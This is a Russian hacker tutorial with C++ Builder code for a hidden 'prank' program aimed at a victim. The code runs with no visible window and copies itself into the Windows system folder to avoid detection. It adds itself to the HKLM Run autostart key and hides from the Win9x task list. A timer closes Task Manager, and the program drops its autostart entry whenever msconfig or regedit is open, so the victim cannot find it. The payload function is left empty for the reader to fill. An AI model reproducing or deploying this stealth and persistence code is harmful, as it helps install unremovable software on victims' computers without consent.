Я сознательно не буду приводить здесь листингов программы - так лучше
для тех читателей, которые хотят разобраться во всём самому.
Если же тебе нужно получить проект программы полностью, прошу на мой
сайт. Открывай новый проект C++ Builder, переноси на пустую пока форму
компонент TTimer со вкладки System и установи его свойство Interval в
500 (это миллисекунды) и свойство Enabled в true. Затем жми меню
Projects->ViewSource и перед строчкой "Application->Run;" напиши:
"Application->ShowMainForm = false;" и установи свойство Visible (в Инспекторе Обьетов) формы Form1 в
false. Как ты догадался, это для того, чтобы форму не было видно во время
работы программы. Далее нужно в начале Unit1.cpp добавить три строчки, подключающие
eader'ы:
#include <registry.hpp> // для работы с реестром
#include <process.h> // для WinExec
#include <string.h> // для работы со строками
Затем после "TForm1 *Form1;" пиши:
// хэндлы для
HWND Window = NULL, // Диспетчера Задач Windows
MSConfig = NULL, // окна настройки системы
Regedit = NULL; // окна редактора реестра
TRegistry *Reg; // класс реестра
(Registry.hpp)
char *str = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
// ключ реестра, где хранятся элементы автозагрузки
Потом напиши функции для записи и удаления этой программы из реестра.
Сначала открой Unit1.h, и в нём после "__fastcall TForm1(TComponent*
Owner);" напиши их прототипы:
void SetReg(); // установка в реестр
void DelReg(); // удаление оттуда
Далее в конце Unit1.cpp добавь:
void TForm1::SetReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
// установка корневого ключа (по умолчанию -
HKEY_CURRENT_USER)
Reg->OpenKey(str, true); // открыть ключ (если не сущ.-создать)
Reg->WriteString("program", Application->ExeName);
// пишем программу в автозапуск. "program"-произвольное имя, второй параметр -
// путь к программе
Reg->CloseKey(); // закрытие
delete (Reg);
Reg = NULL;
}
void TForm1::DelReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey(str, true);
Reg->DeleteValue("program"); // удаление параметра
Reg->CloseKey();
delete (Reg);
Reg = NULL;
}
Потом напиши функцию void Zapadlo() так же, как это сделал я с DelReg и
SetReg, и которая будет выполнять собственно заподлянские действия. Её пока
можешь оставить пустой. Теперь осталось написать в
__fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner) вот это:
// сейчас защита от CTRL - ALT - DEL (в
95/98/ME)
BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId, DWORD dwType);
// Описание функции RegisterServiceProcess
HINSTANCE hKernel; // загружаемая Dll
(Kernel)
int id = 1;
hKernel = LoadLibrary("KERNEL32.DLL"); // загрузка Dll
if(hKernel) // если успешно
{
RegisterServiceProcess = (int(__stdcall*)(DWORD,DWORD))GetProcAddress(hKernel, "RegisterServiceProcess");
// получение указателя на функцию
if(RegisterServiceProcess) // если она сущесивует (в NT/2000/XP её нет)
RegisterServiceProcess(GetCurrentProcessId(), id); // выполнение
FreeLibrary(hKernel); // закрытие библиотеки
}
const int n = 1024;
char sysdir[n], tmpstr[n];
for (int i = 0;i < n;i++) sysdir[i] = tmpstr[i] = '\0';
// очистка строк
GetSystemDirectory(sysdir, n); // ф - ия WinAPI, находит. сист. папку
// теперь в sysdir - путь к сист. папке
strcpy(tmpstr, sysdir); // копирование sysdir в tmpstr
strcat(tmpstr, "\\program.exe"); // новое имя файла проги
if (FileExists(tmpstr)) // файл сущ. - первый запуск
{
CopyFile(Application->ExeName.c_str(), tmpstr, false);
// копирование себя в системную папку (чтобы не засекли)
WinExec("program.exe", SW_HIDE); // запуск нового файла
Application->Terminate(); // завершение работы программы
// но работает программа в системной директории
}
else // второй и далее запуски
SetReg(); // в автозапуск
Ну всё, подготовительные действия закончились, приступим к главному.
Итак, кликни в инспекторе объектов на событии OnTimer компонента Timer1,
ранее перенесённого на форму (напомню, интервал - 500 мс.), и напиши в
обработчике его события:
Zapadlo(); // собственно заподлянские действия (ранее написанные)
Window = FindWindow("#32770", "Диспетчер задач Windows");
// это поиск хэндла Диспетчера задач, где "#32770" - класс окна
if (Window) // если найдено
{
SendMessage(Window, WM_CLOSE, NULL, NULL); // просто закрываем
// если хочешь сделать с Диспетчером что - нибудь круче - см. выше
}
MSConfig = FindWindow("#32770", "Настройка системы");
// поиск MSConfig.exe
if (MSConfig)
{
DelReg(); // убиваем прогу из автозапуска
return; // и выход из функции (больше здесь нефиг делать)
}
else // если не открыто
SetReg(); // прогу -> в автозапуск
Regedit = FindWindow("RegEdit_RegEdit", NULL); // поиск Regedit.exe
if (Regedit) // аналогично
{
DelReg();
return;
}
else SetReg();
Вот и всё. Теперь ещё надо запихать что - то дельное в Zapadlo, и успех
твоей заподлянке обеспечен на все 100%!!! Не позавидую твоей жертве 🙂
Наконец, последнее. Может быть, я напишу статью про то "дельное", т.е.
про сами заподлянские действия - наверное, в ближайшем будущем. Пожелания,
поправки и прочее - на мыло. До встречи!
George
www.omega-group.narod.ru // пока ещё строится